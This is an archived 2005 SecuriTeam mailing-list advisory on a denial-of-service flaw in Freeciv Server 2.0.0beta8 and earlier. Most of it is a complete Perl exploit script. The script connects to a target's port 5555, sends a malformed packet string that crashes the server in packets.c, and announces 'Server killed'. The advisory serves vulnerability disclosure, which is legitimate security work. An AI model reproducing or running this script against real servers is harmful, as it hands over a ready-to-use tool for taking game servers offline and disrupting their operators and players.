

# [EXPL] FreeCiv Server DoS Exploit

**Source:** <http://www.derkeiler.com/Mailing-Lists/Securiteam/2005-03/0096.html>

---

**From:** SecuriTeam ([support\\_at\\_securiteam.com](mailto:support_at_securiteam.com))

**Date:** 03/22/05

To: [list@securiteam.com](mailto:list@securiteam.com)

Date: 22 Mar 2005 17:59:00 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

-----

FreeCiv Server DoS Exploit

---

## SUMMARY

" <<http://www.freeciv.org/>> Freeciv is a free turn-based multiplayer strategy game, in which each player becomes the leader of a civilization, fighting to obtain the ultimate goal: To become the greatest civilization."

Flaws in the handling of inbound data can cause the FreeCiv server to crash.

## DETAILS

Vulnerable Systems:

\* Freeciv Server versions 2.0.0b8 and prior

Exploit:

```
#!/usr/bin/perl
```

```
# Freeciv Server <= 2.0.0beta8 DoS exploit (windows&linux releases)
```

```
# Vendor: http://www.freeciv.org/
```

```
# Advisory: Nico Spicher [ http://triplex.it-helpnet.de/ ]
```

```
# There is a vulnerability in the handling of incoming data. If the
```

## Securiteam: [EXPL] FreeCiv Server DoS Exploit

```
request
# is uncomplete or modified, the server crashes because of a bug in the
# get_packet_from_connection function in packets.c. Look at the code below
# for more information.
```

```
use IO::Socket;
```

```
if (@ARGV < 1)
{
system "clear";
print "[ - ] Usage: exploit_freeciv.pl <host ip>\n";
exit(1);
}
system "clear";
```

```
$server = $ARGV[0];
print "[ - ] Freeciv DoS Exploit\n\n";
print "[ - ] Server IP: ";
print $server;
print "\n[ - ] Connecting to IP ... \n";
```

```
$socket = IO::Socket::INET->new(
Proto => "tcp",
PeerAddr => "$server",
PeerPort => "5555"); unless ($socket) { die "[ - ] $server is offline\n" }
```

```
print "[ - ] Connected\n\n";
```

```
print "[ - ] Creating string\n";
```

```
$string="@+2.0 conn_ping_info username_info-beta8";
# >civserver: packets.c:385: get_packet_from_connection:
# Assertion 'error == 0' failed.
# Aborted(core dumped)
```

```
print "[ - ] Sending string\n\n";
```

```
print $socket "$string";
```

```
print "[>] Attack successful - Server killed\n";
```

```
close($socket);
```

### ADDITIONAL INFORMATION

The information has been provided by Nico Spicher.  
The original article can be found at: <http://triplex.it-helpnet.de/>

=====

Securiteam: [EXPL] FreeCiv Server DoS Exploit

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====  
=====

**DISCLAIMER:**

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.